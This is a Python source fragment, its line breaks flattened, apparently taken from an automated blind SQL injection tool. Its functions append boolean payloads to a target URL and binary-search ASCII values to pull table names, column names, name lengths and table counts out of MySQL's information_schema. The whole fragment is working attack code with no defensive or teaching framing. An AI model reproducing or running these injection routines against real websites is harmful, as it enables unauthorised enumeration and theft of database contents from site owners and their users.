def getTableName(letter, indexTable, indexChar, inf=47, sup=123): indexChar += 1 while (inf <= sup): print(emblemas.loader()) center = ((sup - inf) / 2) + inf query = target + "+and+(select+ascii(substring(table_name," + str( indexChar ) + ",1))+between+" + str(center) + "+AND+" + str( center ) + "+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str( indexTable) + ",1)>=1--" if (isTrue(query)): return chr(center) else: query = target + "+and+(select+ascii(substring(table_name," + str( indexChar ) + ",1))+between+" + str(inf) + "+AND+" + str( center ) + "+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str( indexTable) + ",1)>=1--" if (isTrue(query)): sup = center - 1 else: inf = center + 1 er = '_' return er
def getLengthFieldInTable(tableName, indexField, inf=0, sup=1000): while (inf <= sup): print(emblemas.loader()) center = ((sup - inf) / 2) + inf query = target + "+and+(select+length(column_name)+between+" + str( center ) + "+AND+" + str( center ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str( indexField) + ",1)>=1--" if (isTrue(query)): return center else: query = target + "+and+(select+length(column_name)+between+" + str( inf ) + "+AND+" + str( center ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str( indexField) + ",1)>=1--" if (isTrue(query)): sup = center - 1 else: inf = center + 1 er = 0 return 0
def getFieldName(tableName, indexField, indexChar, inf=47, sup=123): indexChar += 1 while (inf <= sup): print(emblemas.loader()) center = ((sup - inf) / 2) + inf query = target + "+and+(select+ascii(substring(column_name," + str( indexChar ) + ",1))+between+" + str(center) + "+AND+" + str( center ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str( indexField) + ",1)>=1--" if (isTrue(query)): return chr(center) else: query = target + "+and+(select+ascii(substring(column_name," + str( indexChar ) + ",1))+between+" + str(inf) + "+AND+" + str( center ) + "+from+information_schema.columns+where+table_name='" + tableName + "'+limit+" + str( indexField) + ",1)>=1--" if (isTrue(query)): sup = center - 1 else: inf = center + 1 er = '_' return er
def getRoughNumTables(count=10): print(emblemas.loader()) newTarget = target + "+and+(select+count(table_name)+between+0+AND+" + str( count + 10) + "+from+information_schema.tables)>=1--" if (isTrue(newTarget)): return count else: count = count + 15 return getRoughNumTables(count)
def getLengthTableName(letter, index, length=0): print(emblemas.loader()) newTarget = target + "+and+(select+length(table_name)+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + "+limit+" + str( index) + ",1)>=" + str(length) + "--" if (isTrue(newTarget)): length = length + 1 return getLengthTableName(letter, index, length) else: return length
def getNumTablesLetter(letter, count=0): print(emblemas.loader()) total = count newTarget = target + "+and+(select+count(table_name)+from+information_schema.tables+where+table_name+LIKE+'" + letter + "%'" + disableTables + ")>=" + str( count) + "--" if (isTrue(newTarget)): count = count + 1 return getNumTablesLetter(letter, count) else: return total
def getNumTables(rough): print(emblemas.loader()) total = rough newTarget = target + "+and+(select+count(table_name)+from+information_schema.tables)>=" + str( rough) + "--" if (isTrue(newTarget)): rough = rough + 1 return getNumTables(rough) else: return total